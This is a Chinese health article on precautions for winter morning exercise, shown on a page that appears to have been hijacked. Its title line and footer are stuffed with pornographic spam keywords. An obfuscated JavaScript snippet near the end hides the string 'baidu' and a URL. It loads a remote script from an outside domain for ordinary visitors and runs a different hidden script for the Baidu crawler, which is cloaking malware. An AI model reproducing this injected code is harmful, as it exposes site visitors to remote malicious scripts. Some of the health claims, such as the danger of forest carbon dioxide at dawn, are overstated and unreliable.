久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

冬天晨練真的好嗎?

2017-04-14 19:00:26  來源:360常識網   熱度:
導語:我們都知道,晨練是一項很健康的運動,很多的老年人都參與到晨練的隊伍中。不管是夏天還是冬天都會堅持晨練。冬天的時候氣候是比較寒冷的,

我們都知道,晨練是一項很健康的運動,很多的老年人都參與到晨練的隊伍中。不管是夏天還是冬天都會堅持晨練。冬天的時候氣候是比較寒冷的,所以堅持晨練也是對意志力的一種鍛煉。雖然我們都知道晨練是有好處的,但是具體有哪些好處也不太清楚。下面我們就來介紹一下冬天晨練的好處和注意事項。

1、不宜起得過早

清晨4時左右,血液粘滯性最高,流動性最差,易凝結成血栓,阻礙血液循環,是心血管疾病多發的時間。因此,晨練不宜起得過早,尤其是糖尿病并發心血管疾病的病友,在此時間內不要參加急劇的、較大運動量的活動。如果您有清晨鍛煉的習慣,又不想改變它,那么也要在這段時間里,逐漸而緩慢地增加運動量。

2、不宜在日出前到樹林里鍛煉

夜間,樹木不能進行光合作用,而只有呼吸作用。大家都知道樹木呼出的是二氧化碳,吸入的是氧氣。經過一夜的呼吸,清晨樹林里的二氧化碳含量很高,氧氣含量卻很低。因此,日出前到樹林里鍛煉身體,會吸入較多的二氧化碳,嚴重時會出現頭暈,甚至暈倒。只有在日出后,樹木開始光合作用,樹林里的空氣質量才變得越來越好。

3、不宜強度過大

剛起床,身體各組織、器官處于抑制狀態。突然劇烈運動,肌肉中血流量急劇增大,會加大心臟的收縮強度與頻率,心肌會因供氧不足而過早疲勞,以至產生胸悶現象。另外,糖尿病病友也應防止因運動強度過大而導致的低血糖反應。

4、不宜不專心

晨練過程中,若同時還在聽廣播、錄音,會影響中樞神經系統持續穩定的興奮性,造成運動情緒上的不規則波動,打破機體系統的調節規律,使晨練效果大打折扣。

上文中介紹了一些晨練的好處和注意事項。晨練是可以鍛煉身體的,而且可以增強身體的免疫力和抵抗力,可以預防感冒等疾病的發生。同時對于老年人的骨質增生和骨骼鈣質的流失也會有一定的調理的作用。所以堅持晨練對身體是很好的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 久久久99精品免费观看 | 免费毛片一区二区三区久久久 | 亚洲黄色免费观看 | 亚洲黄色精品 | 91原创视频在线观看 | 国产精品色| 一级在线观看 | 久久一区视频 | 成人精品在线视频 | 亚洲无限资源 | 国产精品成人国产乱一区 | 三级av在线 | 国产三区在线观看视频 | www.久久久久久久久久久久 | 男女视频免费看 | 亚洲国产成人在线 | a级在线免费观看 | 日本三级视频在线播放 | 91视频www | 国产一区二区三区免费在线 | 日韩大片免费看 | 91久久久精品视频 | 亚洲一区二区在线 | 在线精品亚洲 | 中文字幕在线观看av | 国产在线精品一区二区三区 | 成人激情视频在线播放 | 美女爽到呻吟久久久久 | 国产日韩av在线 | 久久久中文 | 99视频免费观看 | 蜜桃视频一区二区三区 | 欧美伦理一区二区 | 国产成人在线免费观看 | 美女人人操 | 亚洲国产精品一区 | 中文字幕免费视频观看 | 就操成人网 | 天天爽天天操 | 美女人人操 | 黄色片免费在线观看 |